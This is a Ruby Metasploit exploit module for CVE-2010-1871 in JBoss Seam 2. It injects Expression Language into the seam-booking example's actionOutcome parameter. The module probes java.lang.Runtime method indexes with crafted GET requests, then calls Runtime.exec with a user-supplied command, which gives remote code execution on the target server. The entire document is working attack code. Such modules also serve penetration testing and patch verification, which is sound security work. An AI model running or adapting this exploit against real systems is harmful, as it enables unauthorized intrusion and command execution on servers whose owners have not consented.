#
# JBoss seam remote command execution exploit
#

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = ManualRanking 

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'JBoss seam remote command execution (seam-booking example)',
			'Description'    => %q{
					JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform 4.3.0 for Red Hat Linux,
					does not properly sanitize inputs for JBoss Expression Language (EL) expressions, which allows remote attackers
					to execute arbitrary code via a crafted URL.
					NOTE: this is only a vulnerability when the Java Security Manager is not properly configured. 
			},
			'Author'         => [ 'ruggine' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2010-1871' ],
					[ 'URL', 'http://' ],
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic'
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			# 'DisclosureDate' => '',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('JBOSS_ROOT',[ true, 'JBoss root directory', '/'])
			], self.class)
	end

	def exploit
		connect
                jbr = datastore['JBOSS_ROOT']
                cmd_enc = ""
                cmd_enc << Rex::Text.uri_encode(datastore["CMD"])
                flag_java_one = 0
                flag_java_two = 0
                index = 0
                explo_part_1 = "seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
                explo_part_2 = "].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
                explo_part_3 = "].invoke(null),'"
                
		print_status("Finding getDeclaredMethods() indexes... (0 to 24)")
                
	        while index <= 24
			req =
			   "GET " + jbr + explo_part_1 + index.to_s + "]} HTTP/1.1\r\n" +
			   "Host: #{rhost}\r\n\r\n"
		
			print_status("Trying index:" + index.to_s)
			sock.put(req)

			res = sock.get(3,3)
                        
                        if res.include? "java.lang.Runtime.exec%28java.lang.String%29"
				flag_java_one = index
				print_status("Found right index at:" + index.to_s)
			elsif res.include? "java.lang.Runtime+java.lang.Runtime.getRuntime"
				print_status("Found right index at:" + index.to_s)
				flag_java_two = index
                        end
			
			index += 1
                end

		if (flag_java_one > 0 && flag_java_two > 0)
			print_status("Found vulnerability...")
			print_status("Sending remote command:" + datastore["CMD"])
			req =
			   "GET " + jbr + explo_part_1 + flag_java_one.to_s + explo_part_2 + flag_java_two.to_s + explo_part_3 + cmd_enc + "')} HTTP/1.1\r\n" +
			   "Host: #{rhost}\r\n\r\n"
			sock.put(req)
			res = sock.get(3,3)
			puts res
			if res.include? "pwned=java.lang.UNIXProcess"
				print_status("Exploit successfull.")
			else
				print_status("Exploit failed.")
			end
			
		else
			print_status("Vulnerability not found.")
		end	

		handler
		disconnect
	end

end
